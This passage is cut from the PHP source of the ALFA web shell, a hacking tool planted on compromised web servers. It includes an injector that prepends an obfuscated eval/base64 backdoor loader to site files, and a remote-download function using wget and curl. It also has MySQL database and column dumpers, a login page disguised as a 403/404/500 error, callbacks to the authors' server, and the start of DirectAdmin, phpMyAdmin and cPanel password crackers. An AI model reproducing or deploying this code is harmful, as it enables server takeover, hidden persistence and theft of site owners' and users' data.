str_replace(array(\'"\',\'\\\'\'),\'\',trim($_POST[\'alfa9\']));\r\nif($key==\'\')$key=\'alfa\';\r\nif($method==\'my\'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS[\'__ALFA_SHELL_CODE\'];}\r\nif($conn = mysqli_connect($dbhost,$dbuser,$dbpw,$dbname)){\r\n$code = \'<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="\'.$key.\'"){$conn=mysqli_connect("\'.str_replace(\'"\',\'\\"\',$dbhost).\'","\'.str_replace(\'"\',\'\\"\',$dbuser).\'","\'.str_replace(\'"\',\'\\"\',$dbpw).\'","\'.str_replace(\'"\',\'\\"\',$dbname).\'");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\\\'?>\\\'.base"."64"."_dec"."ode(\\$c));");$x($r["code"]);exit;}?>\';\r\nif(@is_file($file)&&@is_writable($file)){\r\n@mysqli_query($conn,\'DROP TABLE `alfa_bc`\');\r\n@mysqli_query($conn,\'CREATE TABLE `alfa_bc` (code LONGTEXT)\');\r\n@mysqli_query($conn,\'INSERT INTO `alfa_bc` VALUES("\'.$shell.\'")\');\r\n@file_put_contents($file,$code."\\n".@file_get_contents($file));\r\n__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.\'</font>\');}else{__alert($error);}}}}\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction alfawhois(){\r\necho("<div class=\'header\'><center><p><div class=\'txtfont_header\'>| Whois |</div></p><p><form onsubmit=\\"g(\'whois\',null,this.url.value,\'>>\');return false;\\"><div class=\'txtfont\'>Url: </div> <input type=\'text\' name=\'url\' style=\'text-align:center;\' size=\'50\' placeholder=\'google.com\'> <input type=\'submit\' value=\' \'></form></p></center>");\r\nif($_POST[\'alfa2\']==\'>>\'&&!empty($_POST[\'alfa1\'])){\r\n$site = str_replace(array(\'http://\',\'https://\',\'www.\',\'ftp://\'),\'\',$_POST[\'alfa1\']);\r\n$target = \'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain=\'.$site;\r\n$data = @file_get_contents($target);\r\nif($data==\'\'){$get = new AlfaCURL();$get->ssl = true;$data = $get->Send($target);}\r\n$target = @json_decode($data,true);\r\necho __pre();\r\nif(is_array($target)){echo($target["whois_raw"]);}else{echo alfaEx("whois ".$site);}}\r\necho("</div>");\r\n}\r\nfunction alfaremotedl(){\r\nalfahead();\r\necho("<div class=\'header\'><center><p><div class=\'txtfont_header\'>| Upload From Url |</div></p><p>\r\n<form onsubmit=\\"g(\'remotedl\',null,this.d.value,this.p.value,\'>>\');return false;\\">\r\n<p><div class=\'txtfont\'>Url: </div> <input type=\'text\' name=\'d\' size=\'50\'></p>\r\n<div class=\'txtfont\'>Path:</div> <input type=\'text\' name=\'p\' size=\'50\' value=\'".$GLOBALS[\'cwd\']."\'><p><input type=\'submit\' value=\' \'></p>\r\n</form></p></center>");\r\nif(isset($_POST[\'alfa1\'],$_POST[\'alfa2\'],$_POST[\'alfa3\'])&&!empty($_POST[\'alfa1\'])&&$_POST[\'alfa3\']==\'>>\'){\r\necho __pre();\r\n$url = $_POST[\'alfa1\'];\r\n$path = $_POST[\'alfa2\'];\r\necho(\'<center>\');\r\nif(__download($url,$path)){\r\necho(\'<font color="green">Success...!</font>\');\r\n}else{\r\necho(\'<font color="red">Error...!</font>\');\r\n}\r\necho(\'</center>\');\r\n}\r\necho("</div>");\r\nalfafooter();\r\n}\r\nfunction __download($url,$path=false){\r\nif(!preg_match("/[a-z]+:\\/\\/.+/",$url)) return false;\r\n$saveas = basename(rawurldecode($url));\r\nif($path){$saveas=$path.$saveas;}\r\nif($content = __read_file($url)){\r\nif(@is_file($saveas))@unlink($saveas);\r\nif(__write_file($saveas, $content)){return true;}}\r\n$buff = alfaEx("wget ".$url." -O ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("curl ".$url." -o ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("lwp-download ".$url." ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("lynx -source ".$url." > ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("GET ".$url." > ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("links -source ".$url." > ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("fetch -o ".$saveas." -p ".$url);\r\nif(@is_file($saveas)) return true;\r\nreturn false;\r\n}\r\nfunction clean_string($string){\r\n if(function_exists("iconv")){\r\n\t $s = trim($string);\r\n\t $s = iconv("UTF-8", "UTF-8//IGNORE", $s);\r\n }\r\n return $s;\r\n}\r\nfunction __read_file($file, $boom = true){\r\n$content = false;\r\nif($fh = @fopen($file, "rb")){\r\n$content = "";\r\nwhile(!feof($fh)){\r\n$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);\r\n}\r\n@fclose($fh);\r\n}\r\nif(empty($content)||!$content){\r\n\t$content = alfaEx("cat \'".addslashes($file)."\'");\r\n}\r\nreturn $content;\r\n}\r\nfunction alfaMarket(){\r\necho "<div class=\'header\'>";\r\n$curl = new AlfaCURL();\r\n$content = $curl->Send("http://solevisible.com/market.php");\r\n$data = @json_decode($content, true);\r\nif(!empty($data)){\r\nif($data["status"] == "open"){\r\n\techo $data["content"];\r\n}else{\r\n\techo $data["error_msg"];\r\n}\r\n}else{\r\n\techo "<div style=\'text-align:center;font-size:20px;\'>Cant connect to the alfa market....! try later.</div>";\r\n}\r\necho "</div>";\r\n}\r\nfunction alfaSettings(){\r\nalfahead();\r\nAlfaNum(6,7,8,9,10);\r\necho \'<div class=header><center><p><div class="txtfont_header">| Settings |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'settings\\\',null,null,null,null,null,null,null,null,\\\'main\\\')">| Generall Setting | </a></h3></center>\';\r\nif($_POST["alfa8"] == "main"){\r\necho \'<p><center><div class="txtfont_header">| Settings |</div></p><form onSubmit="reloadSetting(this);return false;" method=\\\'post\\\'>\';\r\n$lg_array = array(\'0\'=>\'No\',\'1\'=>\'Yes\');\r\n$penc_array = array(\'false\'=>\'No\',\'true\'=>\'Yes\');\r\n$protect_html = "";\r\n$icon_html = "";\r\n$postEnc_html = "";\r\n$login_html = "";\r\n$cgiapi_html = "";\r\nforeach($lg_array as $key=>$val)$protect_html .= \'<option value="\'.$key.\'" \'.($GLOBALS[\'DB_NAME\'][\'safemode\']==\'1\'?\'selected\':\'\').\'>\'.$val.\'</option>\';\r\nforeach($lg_array as $key=>$val)$icon_html .= \'<option value="\'.$key.\'" \'.($GLOBALS[\'DB_NAME\'][\'show_icons\']==\'1\'?\'selected\':\'\').\'>\'.$val.\'</option>\';\r\nforeach($penc_array as $key=>$val)$cgiapi_html .= \'<option value="\'.$key.\'" \'.(!empty($_POST[\'alfa9\'])&&$_POST[\'alfa9\']==$key?"selected":($GLOBALS["DB_NAME"]["cgi_api"]&&empty($_POST[\'alfa9\'])?\'selected\':\'\')).\'>\'.$val.\'</option>\';\r\nforeach($penc_array as $key=>$val)$postEnc_html .= \'<option value="\'.$key.\'" \'.(!empty($_POST[\'alfa7\'])&&$_POST[\'alfa7\']==$key?"selected":(__ALFA_POST_ENCRYPTION__&&empty($_POST[\'alfa7\'])?\'selected\':\'\')).\'>\'.$val.\'</option>\';\r\n$lg_array = array("gui"=>"GUI","500"=>"500 Internal Server Error","403"=>"403 Forbidden","404"=>"404 NotFound");\r\nforeach($lg_array as $key=>$val)$login_html .= \'<option value="\'.$key.\'" \'.($GLOBALS[\'DB_NAME\'][\'login_page\']==$key?\'selected\':\'\').\'>\'.$val.\'</option>\';\r\necho \'\';\r\necho \'<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">\'.$protect_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Cgi Api:</div></td><td><select name="cgi_api" style="width:100%;">\'.$cgiapi_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">\'.$postEnc_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">\'.$icon_html.\'</select></td></tr><tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">\'.$login_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="\'.(empty($_POST[\'alfa3\'])?$GLOBALS[\'DB_NAME\'][\'user\']:$_POST[\'alfa3\']).\'" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="\'.$GLOBALS[\'DB_NAME\'][\'safemode\'].\'"><input type="hidden" name="s" value="\'.$GLOBALS[\'DB_NAME\'][\'show_icons\'].\'"><p><input type="submit" name="btn" value=" "></p></form></center>\';\r\nif($_POST[\'alfa5\']==\'>>\'){\r\necho __pre();\r\nif(!empty($_POST[\'alfa3\'])){\r\n$protect = $_POST[\'alfa1\'];\r\n$lgpage = $_POST[\'alfa2\'];\r\n$username = $_POST[\'alfa3\'];\r\n$password = md5($_POST[\'alfa4\']);\r\n$icon = $_POST[\'alfa6\'];\r\n$post_encrypt = $_POST[\'alfa7\'];\r\n$cgi_api_val = $_POST[\'alfa9\'];\r\n@chdir($GLOBALS[\'home_cwd\']);\r\n$basename = @basename($_SERVER[\'PHP_SELF\']);\r\n$data = @file_get_contents($basename);\r\n$user_rand = $GLOBALS["DB_NAME"]["user_rand"];\r\n$pass_rand = $GLOBALS["DB_NAME"]["pass_rand"];\r\n$login_page_rand = $GLOBALS["DB_NAME"]["login_page_rand"];\r\n$safemode_rand = $GLOBALS["DB_NAME"]["safemode_rand"];\r\n$show_icons_rand = $GLOBALS["DB_NAME"]["show_icons_rand"];\r\n$post_encryption_rand = $GLOBALS["DB_NAME"]["post_encryption_rand"];\r\n$cgi_api_rand = $GLOBALS["DB_NAME"]["cgi_api_rand"];\r\n$find_user = \'/\\\'\'.$user_rand.\'\\\'(.*?),/i\';\r\n$find_pw = \'/\\\'\'.$pass_rand.\'\\\'(.*?),/i\';\r\n$find_lg = \'/\\\'\'.$login_page_rand.\'\\\'(.*?),/i\';\r\n$find_p = \'/\\\'\'.$safemode_rand.\'\\\'(.*?),/i\';\r\n$icons = \'/\\\'\'.$show_icons_rand.\'\\\'(.*?),/i\';\r\n$postEnc = \'/\\\'\'.$post_encryption_rand.\'\\\'(.*?),/i\';\r\n$cgi_api_reg = \'/\\\'\'.$cgi_api_rand.\'\\\'(.*?),/i\';\r\nif(!empty($username)&&preg_match($find_user,$data,$e)){\r\n$new = \'\\\'\'.$user_rand.\'\\\' => \\\'\'.$username.\'\\\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(!empty($_POST[\'alfa4\'])&&preg_match($find_pw,$data,$e)){\r\n$new = \'\\\'\'.$pass_rand.\'\\\' => \\\'\'.$password.\'\\\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(!empty($lgpage)&&preg_match($find_lg,$data,$e)){\r\n$new = \'\\\'\'.$login_page_rand.\'\\\' => \\\'\'.$lgpage.\'\\\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(!empty($find_p)&&preg_match($find_p,$data,$e)){\r\n$new = \'\\\'\'.$safemode_rand.\'\\\' => \\\'\'.$protect.\'\\\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(preg_match($icons,$data,$e)){\r\n$new = \'\\\'\'.$show_icons_rand.\'\\\' => \\\'\'.$icon.\'\\\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(preg_match($postEnc,$data,$e)){\r\n$new = \'\\\'\'.$post_encryption_rand.\'\\\' => \'.$post_encrypt.\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(preg_match($cgi_api_reg,$data,$e)){\r\n$new = \'\\\'\'.$cgi_api_rand.\'\\\' => \'.$cgi_api_val.\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(@file_put_contents($basename,$data)){\r\necho \'<b>UserName: </b><font color="green"><b>\'.$username.\'</b></font><br /><b>Password: </b><font color="green"><b>\'.$_POST[\'alfa4\'].\'</b></font><script>post_encryption_mode = \'.$post_encrypt.\';</script>\';\r\n}else{\r\n__alert("<span style=\'color:red;\'>File has no edit access...!</span>");\r\n}\r\n}else{\r\n__alert("<span style=\'color:red;\'>UserName is Empty !</span>");\r\n}\r\n}\r\n}elseif($_POST["alfa8"] == "color"){\r\necho(\'<center><p><div class="txtfont_header">| Custom Color |</div></p><form onSubmit="reloadColors();return false;" method=\\\'post\\\'>\');\r\necho \'<table border="1"><tbody>\';\r\n$template = \'<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>\';\r\n$x = 1;\r\nforeach($GLOBALS[\'__ALFA_COLOR__\'] as $key => $value){\r\n\t$multi = "";\r\n\tif(is_array($value)){\r\n\t\tif(isset($value["multi_selector"])){\r\n\t\t\t$multi = __ZW5jb2Rlcg(json_encode($value));\r\n\t\t}\r\n\t}\r\n\t$value = alfa_getColor($key);\r\n\t$help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));\r\n\techo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);\r\n}\r\necho \'<tr><td style="text-align:center;">-</td><td style="text-align:center;"><div class="tbltxt">*</div></td><td><div style="margin-left:5px;" class="tbltxt">Use Default Color:</div></td><td></td><td><center><input type="checkbox" id="use_default_color" value="1"></center></td></tr>\';\r\n\r\necho \'</tbody></table><p><input type="submit" name="btn" value=" "></p></form><p><button style="padding:4px;;margin-right:20px;" onclick="$(\\\'importFileBtn\\\').click();" class="button"> Import </button> <button style="padding:4px;margin-left:20px;" onclick="g(\\\'settings\\\',null,null,null,null,null,null,null,\\\'export\\\',\\\'color\\\')" class="button"> Export </button></center></p>\';\r\nif($_POST[\'alfa7\']==\'export\'){\r\n\techo __pre();\r\n\t$colors = is_array($GLOBALS["DB_NAME"]["color"])?$GLOBALS["DB_NAME"]["color"]:array();\r\n\t$glob_colors = $GLOBALS["__ALFA_COLOR__"];\r\n\t$array = array();\r\n\tforeach($glob_colors as $k => $v){\r\n\t\tif(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){\r\n\t\t\t$v = trim($colors[$k]);\r\n\t\t}else{\r\n\t\t\t$v = trim(is_array($v)?$v["key_color"]:$v);\r\n\t\t}\r\n\t\t$array[$k] = $v;\r\n\t}\r\n\t$file = "alfa_color_config_".date(\'Y-m-d-h_i_s\').".conf";\r\n\t$config = json_encode($array, JSON_PRETTY_PRINT);\r\n\tif(!@file_put_contents($file, $config)){\r\n\t\techo(\'<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">\'.$config.\'</textarea></center></p>\');\r\n\t}else{\r\n\t\techo(\'<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\\\'FilesTools\\\',null,\\\'\'.$file.\'\\\', \\\'download\\\')"><font color="#0F0">Download Config</font></a></center></p></h3>\');\r\n\t}\r\n}\r\nif($_POST[\'alfa2\']==\'>>\'){\r\n\techo __pre();\r\n\t$colors = json_decode($_POST["alfa1"],true);\r\n\t$array = "";\r\n\t$is_default = isset($_POST["alfa3"])&&$_POST["alfa3"]=="1"?true:false;\r\n\t$glob_colors = $GLOBALS["__ALFA_COLOR__"];\r\n\tforeach($glob_colors as $k => $v){\r\n\t\tif(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){\r\n\t\t\t$v = trim($colors[$k]);\r\n\t\t}else{\r\n\t\t\t$v = trim(is_array($v)?$v["key_color"]:$v);\r\n\t\t}\r\n\t\t$array .= \'"\'.trim($k).\'" => "\'.$v.\'",\';\r\n\t}\r\n\t@chdir($GLOBALS[\'home_cwd\']);\r\n\t$basename = @basename($_SERVER[\'PHP_SELF\']);\r\n\t$data = @file_get_contents($basename);\r\n\t$color = \'/\\\'color\\\'(.*?)\\),/s\';\r\n\tif(preg_match($color,$data,$e)){\r\n\t\t$new = "\'color\' => array(".$array."),";\r\n\t\t$data = str_replace($e[0],$new,$data);\r\n\t\tif(@file_put_contents($basename, $data)){\r\n\t\t\techo("<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>");\r\n\t\t}else{\r\n\t\t\techo("<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>");\r\n\t\t}\r\n\t}else{\r\n\t\techo("<center><p><h3>[-] Error...!</h3></p></center>");\r\n\t}\r\n}\r\n}\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction alfaaboutus(){\r\nalfahead();\r\necho \'<div class="header">\';\r\n$news = new AlfaCURL();\r\n$about_us = $news->Send("http://solevisible.com/aboutus.php");\r\nif(empty($about_us)){\r\n$about_us = "<pre><center><img src=\'http://solevisible.com/images/farvahar-iran.png\'><br>\r\n<b><font size=\'+3\' color=\'#00A220\'>☮ ~ PEACE ~ ☮</font><br><b>\r\n<font color=\'#00A220\'>Shell Coded By Sole Sad & Invisible (ALFA TEaM)</font><br>\r\n<font color=\'#00A220\'>Contact : solevisible@gmail.com</font><br>\r\n<font color=\'#00A220\'>Telegram Channel: @solevisible</font><br>\r\n<font color=\'#FFFFFF\'>Skype : ehsan.invisible</font><br>\r\n<font color=\'#FFFFFF\'>Skype : sole.sad</font><br>\r\n<font color=\'#FF0000\'>Persian Gulf For Ever</font><br>\r\n<font color=\'#FF0000\'>Iranian Programmers</font><br>\r\n<font color=\'#FF0000\'>############</font><br>\r\n</center></pre><iframe src=\'tg://resolve?domain=solevisible\' frameborder=\'0\' width=\'0\' height=\'0\'></iframe>";\r\n}\r\necho __pre().$about_us;\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction alfacoldumper(){\r\nalfahead();\r\necho(\'<div class="header">\');\r\nAlfaNum(8,9,10);\r\necho "<center><br><div class=\'txtfont_header\'>| Mysql Column Dumper |</div><br><br>".getConfigHtml(\'all\')."<form method=\'post\' onsubmit=\\"var opt_id=this.getAttribute(\'opt_id\');var delimiter=\'json\';try{if($(\'dumper-delimiter-type\').value == \'delimiter\')delimiter=$(\'dumper-delimiter-input\').value}catch(e){};g(\'coldumper\',null,delimiter,JSON.stringify(col_dumper_selected_data[opt_id]),this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); col_dumper_selected_data[opt_id] = {};return false;\\"><p>";\r\n$delimiter = (!empty($_POST[\'alfa1\']) ? $_POST[\'alfa1\'] : \'::\');\r\n$selected_data = json_decode($_POST[\'alfa2\'], true);\r\n$username = ($_POST[\'alfa3\']);\r\n$password = ($_POST[\'alfa4\']);\r\n$dbname = ($_POST[\'alfa5\']);\r\n$dfile = ($_POST[\'alfa6\']);\r\n$host = ($_POST[\'alfa7\']);\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => $host, \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => $username, \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => $password, \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => $dbname, \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Output Path: \', \'inputName\' => \'dfile\', \'inputValue\' => htmlspecialchars($GLOBALS[\'cwd\']), \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<br><input type=\'submit\' value=\' \' name=\'Submit\'></p></form></center>";\r\n$db = false;\r\nif(!empty($dbname)){\r\n\t$db = @mysqli_connect($host, $username, $password, $dbname);\r\n}\r\nif(count($selected_data) > 0){\r\n\tif($db){\r\n\t\tif(!is_dir($dfile)){\r\n\t\t\t$dfile = $GLOBALS[\'cwd\'];\r\n\t\t}\r\n\t\t$tbls = "";\r\n\t\t$ext = \'.txt\';\r\n\t\tif($delimiter == \'json\'){\r\n\t\t\t$ext = \'.json\';\r\n\t\t}\r\n\t\tforeach ($selected_data as $tbl => $cols) {\r\n\t\t\t$tables_query = mysqli_query($db, "SELECT ".implode(\',\', $cols)." FROM $tbl");\r\n\t\t\t$file_name = $dfile.\'/\'.$dbname.\'.\'.$tbl.$ext;\r\n\t\t\t$fp = fopen($file_name, "w");\r\n\t\t\t$data = array();\r\n\t\t\twhile($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){\r\n\t\t\t\tif($delimiter == "json"){\r\n\t\t\t\t\t$col_arr = array();\r\n\t\t\t\t\tforeach ($row as $key => $value) {\r\n\t\t\t\t\t\tif(empty($value)){\r\n\t\t\t\t\t\t\t$value = "[empty]";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t $col_arr[$key] = $value;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$data[$tbl][] = $col_arr;\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$data = "";\r\n\t\t\t\t\tforeach ($row as $key => $value) {\r\n\t\t\t\t\t\tif(empty($value)){\r\n\t\t\t\t\t\t\t$value = "[empty]";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$data .= $value . $delimiter;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tfwrite($fp, $data ."\\n");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif($delimiter == "json"){\r\n\t\t\t\tfwrite($fp, json_encode($data));\r\n\t\t\t}\r\n\t\t\tfclose($fp);\r\n\t\t\t$tbls .= "Done ~~~> ".$file_name."<br>";\r\n\t\t}\r\n\t\techo __pre();\r\n\t\techo "<center><font color=\'#00FF00\'>".$tbls."</font></center>";\r\n\t}\r\n}\r\nif(!empty($dbname) && count($selected_data) == 0){\r\n//echo __pre();\r\nif($db){\r\n\techo("<hr><div style=\'text-align:center;margin-bottom:5px;font-weight:bolder;\'><span>[ Select your tables and columns for dumping data ]</span></div>");\r\n\techo("<div style=\'text-align:center;\'><span>Output Type: </span><select id=\'dumper-delimiter-type\' onchange=\'colDumplerSelectType(this);\' name=\'output_type\'><option value=\'delimiter\' selected>delimiter</option><option value=\'json\'>json</option></select><div id=\'coldumper-delimiter-input\' style=\'display:inline;\'><span> Delimiter: </span><input id=\'dumper-delimiter-input\' style=\'text-align:center;\' type=\'text\' name=\'delimiter\' placeholder=\'eg: ,\'></div></div>");\r\n\t$data = array();\r\n\t$tables_query = mysqli_query($db, "SELECT table_name FROM information_schema.tables WHERE table_schema = database();");\r\n\twhile($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){\r\n\t\t$data[$row["table_name"]] = array();\r\n\t\t$table_count_q = mysqli_query($db, "SELECT count(*) FROM `".$row[\'table_name\']."`");\r\n\t\t$table_count = mysqli_fetch_row($table_count_q);\r\n\t\t$data[$row["table_name"]]["data_count"] = $table_count[0];\r\n\t\t$columns_query = mysqli_query($db, "SELECT column_name FROM information_schema.columns WHERE table_name = \'".$row[\'table_name\']."\'");\r\n\t\twhile($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){\r\n\t\t\t$data[$row["table_name"]]["cols"][] = $row2["column_name"];\r\n\t\t}\r\n\t}\r\n\tmysqli_close($db);\r\n\r\n\techo \'<ul id="myUL">\';\r\n\tforeach($data as $tbl => $cols){\r\n\t echo \'<li><span style="color:#00FF00;" class="box">\'.$tbl.\' (\'.$cols["data_count"].\')</span><ul class="nested">\';\r\n\t foreach($cols["cols"] as $col){\r\n\t echo \'<li tbl="\'.$tbl.\'"><span style="color:#00FF00;" tbl="\'.$tbl.\'" class="box sub-box">\' . $col . \'</span></li>\';\r\n\t }\r\n\t echo \'</ul></li>\';\r\n\t}\r\n\techo \'</ul>\';\r\n}else{\r\necho(\'<center>mysqli_connect : Error!</center>\');\r\n}\r\n}\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction alfaDumper(){\r\nalfahead();\r\necho(\'<div class="header">\');\r\nAlfaNum(8,9,10);\r\necho "<center><br><div class=\'txtfont_header\'>| Mysql Database Dumper |</div><br><br>".getConfigHtml(\'all\')."<form method=\'post\' onsubmit=\\"g(\'dumper\',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\\"><p>";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Dump Path: \', \'inputName\' => \'dfile\', \'inputValue\' => htmlspecialchars($GLOBALS[\'cwd\']).\'alfa.sql\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<br><input type=\'submit\' value=\' \' name=\'Submit\'></p></form></center>";\r\n$username = ($_POST[\'alfa3\']);\r\n$password = ($_POST[\'alfa4\']);\r\n$dbname = ($_POST[\'alfa5\']);\r\n$dfile = ($_POST[\'alfa6\']);\r\n$host = ($_POST[\'alfa7\']);\r\nif(!empty($dbname)){\r\necho __pre();\r\n$msg = "<center>Check this : <font color=\'red\'>".$dfile."</font></center>";\r\nif(@mysqli_connect($host,$username,$password,$dbname)){\r\nif(strlen(alfaEx("mysqldump"))>0){\r\nalfaEx("mysqldump --single-transaction --host=\\"$host\\" --user=\\"$username\\" --password=\\"$password\\" $dbname > \'".addslashes($dfile)."\'");\r\necho($msg);\r\n}else{\r\n__alert("Error...!");\r\n}\r\n}else{\r\necho(\'<center>mysqli_connect : Error!</center>\');\r\n}\r\n}\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction Alfa_DirectAdmin_Cracker($info){\r\nif(!$info[\'mysql\'])\r\n$url = $info[\'protocol\'].$info[\'target\'].\':\'.$info[\'port\'].\'/CMD_LOGIN\';\r\nelse $url = $info[\'protocol\'].$info[\'target\'].\'/phpmyadmin\';\r\n$curl = curl_init();\r\ncurl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);\r\ncurl_setopt($curl, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0\');\r\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);\r\ncurl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);\r\ncurl_setopt($curl, CURLOPT_HEADER,0);\r\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt($curl, CURLOPT_URL,$url);\r\ncurl_setopt($curl, CURLOPT_USERPWD, $info[\'username\'].\':\'.$info[\'password\']);\r\nif($info[\'mysql\'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);\r\n$result = @curl_exec($curl);\r\n$curl_errno = curl_errno($curl);\r\n$curl_error = curl_error($curl);\r\nif ($curl_errno > 0) {echo "<font color=\'red\'>Error: $curl_error</font><br>";}\r\nelseif(preg_match(\'/CMD_FILE_MANAGER|frameset/i\',$result)){\r\necho \'UserName: <font color="red">\'.$info[\'username\'].\'</font> PassWord: <font color="red">\'.$info[\'password\'].\'</font><font color="green"> Login Success....</font><br>\';\r\n$info[\'target\'] = $url;\r\nCrackerResualt($info);\r\n}\r\ncurl_close($curl);\r\n}\r\nfunction Alfa_CP_Cracker($info){\r\n$url = $info[\'protocol\'].$info[\'target\'].\':\'.$info[\'port\'];\r\n$curl = curl_init();\r\ncurl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);\r\ncurl_setopt($curl, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0\');\r\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);\r\ncurl_setopt($curl, 